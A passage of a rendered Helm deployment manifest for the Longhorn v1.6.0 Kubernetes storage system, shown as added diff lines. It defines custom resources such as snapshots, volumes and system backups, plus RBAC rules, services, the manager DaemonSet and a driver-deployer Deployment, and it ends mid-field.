description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ShareManagerSpec defines the desired state of the Longhorn share manager + properties: + image: + description: Share manager image used for creating a share manager pod + type: string + type: object + status: + description: ShareManagerStatus defines the observed state of the Longhorn share manager + properties: + endpoint: + description: NFS endpoint that can access the mounted filesystem of the volume + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this share manager resource + type: string + state: + description: The state of the share manager resource + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: snapshots.longhorn.io +spec: + group: longhorn.io + names: + kind: Snapshot + listKind: SnapshotList + plural: snapshots + shortNames: + - lhsnap + singular: snapshot + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The volume that this snapshot belongs to + jsonPath: .spec.volume + name: Volume + type: string + - description: Timestamp when the point-in-time snapshot was taken + jsonPath: .status.creationTime + name: CreationTime + type: string + - description: Indicates if the snapshot is ready to be used to restore/backup a volume + jsonPath: .status.readyToUse + name: ReadyToUse + type: boolean + - description: Represents the minimum size of volume required to rehydrate from this snapshot + jsonPath: .status.restoreSize + name: RestoreSize + type: string + - description: The actual size of the snapshot + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Snapshot is the Schema for the snapshots API + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SnapshotSpec defines the desired state of Longhorn Snapshot + properties: + createSnapshot: + description: require creating a new snapshot + type: boolean + labels: + additionalProperties: + type: string + description: The labels of snapshot + nullable: true + type: object + volume: + description: the volume that this snapshot belongs to. This field is immutable after creation. Required + type: string + required: + - volume + type: object + status: + description: SnapshotStatus defines the observed state of Longhorn Snapshot + properties: + checksum: + type: string + children: + additionalProperties: + type: boolean + nullable: true + type: object + creationTime: + type: string + error: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + markRemoved: + type: boolean + ownerID: + type: string + parent: + type: string + readyToUse: + type: boolean + restoreSize: + format: int64 + type: integer + size: + format: int64 + type: integer + userCreated: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: supportbundles.longhorn.io +spec: + group: longhorn.io + names: + kind: SupportBundle + listKind: SupportBundleList + plural: supportbundles + shortNames: + - lhbundle + singular: supportbundle + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the support bundle + jsonPath: .status.state + name: State + type: string + - description: The issue URL + jsonPath: .spec.issueURL + name: Issue + type: string + - description: A brief description of the issue + jsonPath: .spec.description + name: Description + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SupportBundle is where Longhorn stores support bundle object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SupportBundleSpec defines the desired state of the Longhorn SupportBundle + properties: + description: + description: A brief description of the issue + type: string + issueURL: + description: The issue URL + nullable: true + type: string + nodeID: + description: The preferred responsible controller node ID. + type: string + required: + - description + type: object + status: + description: SupportBundleStatus defines the observed state of the Longhorn SupportBundle + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + type: array + filename: + type: string + filesize: + format: int64 + type: integer + image: + description: The support bundle manager image + type: string + managerIP: + description: The support bundle manager IP + type: string + ownerID: + description: The current responsible controller node ID + type: string + progress: + type: integer + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systembackups.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemBackup + listKind: SystemBackupList + plural: systembackups + shortNames: + - lhsb + singular: systembackup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system backup Longhorn version + jsonPath: .status.version + name: Version + type: string + - description: The system backup state + jsonPath: .status.state + name: State + type: string + - description: The system backup creation time + jsonPath: .status.createdAt + name: Created + type: string + - description: The last time that the system backup was synced into the cluster + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemBackup is where Longhorn stores system backup object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemBackupSpec defines the desired state of the Longhorn SystemBackup + properties: + volumeBackupPolicy: + description: The create volume backup policy Can be "if-not-present", "always" or "disabled" + nullable: true + type: string + type: object + status: + description: SystemBackupStatus defines the observed state of the Longhorn SystemBackup + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + createdAt: + description: The system backup creation time. + format: date-time + type: string + gitCommit: + description: The saved Longhorn manager git commit. + nullable: true + type: string + lastSyncedAt: + description: The last time that the system backup was synced into the cluster. + format: date-time + nullable: true + type: string + managerImage: + description: The saved manager image. + type: string + ownerID: + description: The node ID of the responsible controller to reconcile this SystemBackup. + type: string + state: + description: The system backup state. + type: string + version: + description: The saved Longhorn version. + nullable: true + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systemrestores.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemRestore + listKind: SystemRestoreList + plural: systemrestores + shortNames: + - lhsr + singular: systemrestore + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system restore state + jsonPath: .status.state + name: State + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemRestore is where Longhorn stores system restore object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemRestoreSpec defines the desired state of the Longhorn SystemRestore + properties: + systemBackup: + description: The system backup name in the object store. + type: string + required: + - systemBackup + type: object + status: + description: SystemRestoreStatus defines the observed state of the Longhorn SystemRestore + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + description: The node ID of the responsible controller to reconcile this SystemRestore. + type: string + sourceURL: + description: The source system backup URL. + type: string + state: + description: The system restore state. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Volume + listKind: VolumeList + plural: volumes + shortNames: + - lhv + singular: volume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions['scheduled']['status'] + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the volume + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeSpec defines the desired state of the Longhorn volume + properties: + Standby: + type: boolean + accessMode: + enum: + - rwo + - rwx + type: string + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + backupCompressionMethod: + enum: + - none + - lz4 + - gzip + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + dataLocality: + enum: + - disabled + - best-effort + - strict-local + type: string + dataSource: + type: string + disableFrontend: + type: boolean + diskSelector: + items: + type: string + type: array + encrypted: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + fromBackup: + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + lastAttachedBy: + type: string + migratable: + type: boolean + migrationNodeID: + type: string + nodeID: + type: string + nodeSelector: + items: + type: string + type: array + numberOfReplicas: + type: integer + offlineReplicaRebuilding: + description: OfflineReplicaRebuilding is used to determine if the offline replica rebuilding feature is enabled or not + enum: + - ignored + - disabled + - enabled + type: string + replicaAutoBalance: + enum: + - ignored + - disabled + - least-effort + - best-effort + type: string + replicaDiskSoftAntiAffinity: + description: Replica disk soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same disk. + enum: + - ignored + - enabled + - disabled + type: string + replicaSoftAntiAffinity: + description: Replica soft anti affinity of the volume. Set enabled to allow replicas to be scheduled on the same node. + enum: + - ignored + - enabled + - disabled + type: string + replicaZoneSoftAntiAffinity: + description: Replica zone soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same zone. + enum: + - ignored + - enabled + - disabled + type: string + restoreVolumeRecurringJob: + enum: + - ignored + - enabled + - disabled + type: string + revisionCounterDisabled: + type: boolean + size: + format: int64 + type: string + snapshotDataIntegrity: + enum: + - ignored + - disabled + - enabled + - fast-check + type: string + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + staleReplicaTimeout: + type: integer + unmapMarkSnapChainRemoved: + enum: + - ignored + - disabled + - enabled + type: string + type: object + status: + description: VolumeStatus defines the observed state of the Longhorn volume + properties: + actualSize: + format: int64 + type: integer + cloneStatus: + properties: + snapshot: + type: string + sourceVolume: + type: string + state: + type: string + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentMigrationNodeID: + description: the node that this volume is currently migrating to + type: string + currentNodeID: + type: string + expansionRequired: + type: boolean + frontendDisabled: + type: boolean + isStandby: + type: boolean + kubernetesStatus: + properties: + lastPVCRefAt: + type: string + lastPodRefAt: + type: string + namespace: + description: determine if PVC/Namespace is history or not + type: string + pvName: + type: string + pvStatus: + type: string + pvcName: + type: string + workloadsStatus: + description: determine if Pod/Workload is history or not + items: + properties: + podName: + type: string + podStatus: + type: string + workloadName: + type: string + workloadType: + type: string + type: object + nullable: true + type: array + type: object + lastBackup: + type: string + lastBackupAt: + type: string + lastDegradedAt: + type: string + offlineReplicaRebuildingRequired: + type: boolean + ownerID: + type: string + pendingNodeID: + description: Deprecated. + type: string + remountRequestedAt: + type: string + restoreInitiated: + type: boolean + restoreRequired: + type: boolean + robustness: + type: string + shareEndpoint: + type: string + shareState: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumeattachments.longhorn.io +spec: + group: longhorn.io + names: + kind: VolumeAttachment + listKind: VolumeAttachmentList + plural: volumeattachments + shortNames: + - lhva + singular: volumeattachment + scope: Namespaced + versions: + - additionalPrinterColumns: + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: VolumeAttachment stores attachment information of a Longhorn volume + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeAttachmentSpec defines the desired state of Longhorn VolumeAttachment + properties: + attachmentTickets: + additionalProperties: + properties: + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + nodeID: + description: The node that this attachment is requesting + type: string + parameters: + additionalProperties: + type: string + description: Optional additional parameter for this attachment + type: object + type: + type: string + type: object + type: object + volume: + description: The name of Longhorn volume of this VolumeAttachment + type: string + required: + - volume + type: object + status: + description: VolumeAttachmentStatus defines the observed state of Longhorn VolumeAttachment + properties: + attachmentTicketStatuses: + additionalProperties: + properties: + conditions: + description: Record any error when trying to fulfill this attachment + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + satisfied: + description: Indicate whether this attachment ticket has been satisfied + type: boolean + required: + - conditions + - satisfied + type: object + type: object + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/clusterrole.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: longhorn-role + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +rules: +- apiGroups: + - apiextensions.k8s.io + resources: + - customresourcedefinitions + verbs: + - "*" +- apiGroups: [""] + resources: ["pods", "events", "persistentvolumes", "persistentvolumeclaims","persistentvolumeclaims/status", "nodes", "proxy/nodes", "pods/log", "secrets", "services", "endpoints", "configmaps", "serviceaccounts"] + verbs: ["*"] +- apiGroups: [""] + resources: ["namespaces"] + verbs: ["get", "list"] +- apiGroups: ["apps"] + resources: ["daemonsets", "statefulsets", "deployments"] + verbs: ["*"] +- apiGroups: ["batch"] + resources: ["jobs", "cronjobs"] + verbs: ["*"] +- apiGroups: ["policy"] + resources: ["poddisruptionbudgets", "podsecuritypolicies"] + verbs: ["*"] +- apiGroups: ["scheduling.k8s.io"] + resources: ["priorityclasses"] + verbs: ["watch", "list"] +- apiGroups: ["storage.k8s.io"] + resources: ["storageclasses", "volumeattachments", "volumeattachments/status", "csinodes", "csidrivers"] + verbs: ["*"] +- apiGroups: ["snapshot.storage.k8s.io"] + resources: ["volumesnapshotclasses", "volumesnapshots", "volumesnapshotcontents", "volumesnapshotcontents/status"] + verbs: ["*"] +- apiGroups: ["longhorn.io"] + resources: ["volumes", "volumes/status", "engines", "engines/status", "replicas", "replicas/status", "settings", + "engineimages", "engineimages/status", "nodes", "nodes/status", "instancemanagers", "instancemanagers/status", + "sharemanagers", "sharemanagers/status", "backingimages", "backingimages/status", + "backingimagemanagers", "backingimagemanagers/status", "backingimagedatasources", "backingimagedatasources/status", + "backuptargets", "backuptargets/status", "backupvolumes", "backupvolumes/status", "backups", "backups/status", + "recurringjobs", "recurringjobs/status", "orphans", "orphans/status", "snapshots", "snapshots/status", + "supportbundles", "supportbundles/status", "systembackups", "systembackups/status", "systemrestores", "systemrestores/status", + "volumeattachments", "volumeattachments/status", "backupbackingimages", "backupbackingimages/status"] + verbs: ["*"] +- apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["*"] +- apiGroups: ["metrics.k8s.io"] + resources: ["pods", "nodes"] + verbs: ["get", "list"] +- apiGroups: ["apiregistration.k8s.io"] + resources: ["apiservices"] + verbs: ["list", "watch"] +- apiGroups: ["admissionregistration.k8s.io"] + resources: ["mutatingwebhookconfigurations", "validatingwebhookconfigurations"] + verbs: ["get", "list", "create", "patch", "delete"] +- apiGroups: ["rbac.authorization.k8s.io"] + resources: ["roles", "rolebindings", "clusterrolebindings", "clusterroles"] + verbs: ["*"] +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-bind + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: longhorn-role +subjects: +- kind: ServiceAccount + name: longhorn-service-account + namespace: longhorn-system +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-support-bundle + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: cluster-admin +subjects: +- kind: ServiceAccount + name: longhorn-support-bundle + namespace: longhorn-system +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: manager + port: 9500 + targetPort: manager +--- +# Source: longhorn/templates/deployment-ui.yaml +kind: Service +apiVersion: v1 +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-frontend + namespace: longhorn-system +spec: + type: LoadBalancer + selector: + app: longhorn-ui + ports: + - name: http + port: 8888 + targetPort: http + nodePort: null +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-conversion-webhook + name: longhorn-conversion-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: conversion-webhook + port: 9501 + targetPort: conversion-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-admission-webhook + name: longhorn-admission-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: admission-webhook + port: 9502 + targetPort: admission-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-recovery-backend + name: longhorn-recovery-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: recovery-backend + port: 9503 + targetPort: recov-backend +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-engine-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: engine +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-replica-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: replica +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: apps/v1 +kind: DaemonSet +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-manager + namespace: longhorn-system +spec: + selector: + matchLabels: + app: longhorn-manager + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + spec: + containers: + - name: longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + command: + - longhorn-manager + - -d + - daemon + - --engine-image + - "longhornio/longhorn-engine:v1.6.0" + - --instance-manager-image + - "longhornio/longhorn-instance-manager:v1.6.0" + - --share-manager-image + - "longhornio/longhorn-share-manager:v1.6.0" + - --backing-image-manager-image + - "longhornio/backing-image-manager:v1.6.0" + - --support-bundle-manager-image + - "longhornio/support-bundle-kit:v0.0.33" + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --service-account + - longhorn-service-account + - --upgrade-version-check + ports: + - containerPort: 9500 + name: manager + - containerPort: 9501 + name: conversion-wh + - containerPort: 9502 + name: admission-wh + - containerPort: 9503 + name: recov-backend + readinessProbe: + httpGet: + path: /v1/healthz + port: 9501 + scheme: HTTPS + volumeMounts: + - name: dev + mountPath: /host/dev/ + - name: proc + mountPath: /host/proc/ + - name: longhorn + mountPath: /var/lib/longhorn/ + mountPropagation: Bidirectional + - name: longhorn-grpc-tls + mountPath: /tls-files/ + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: POD_IP + valueFrom: + fieldRef: + fieldPath: status.podIP + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + volumes: + - name: dev + hostPath: + path: /dev/ + - name: proc + hostPath: + path: /proc/ + - name: longhorn + hostPath: + path: /var/lib/longhorn/ + - name: longhorn-grpc-tls + secret: + secretName: longhorn-grpc-tls + optional: true + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + updateStrategy: + rollingUpdate: + maxUnavailable: "100%" +--- +# Source: longhorn/templates/deployment-driver.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: longhorn-driver-deployer + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +spec: + replicas: 1 + selector: + matchLabels: + app: longhorn-driver-deployer + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-driver-deployer + spec: + initContainers: + - name: wait-longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + command: ['sh', '-c', 'while [ $(curl -m 1 -s -o /dev/null -w "%{http_code}" http://longhorn-backend:9500/v1) != "200" ]; do echo waiting; sleep 2; done'] + containers: + - name: longhorn-driver-deployer + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + command: + - longhorn-manager + - -d + - deploy-driver + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --manager-url + - http://longhorn-backend:9500/v1 + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + - name: SERVICE_ACCOUNT + valueFrom: + fieldRef: + 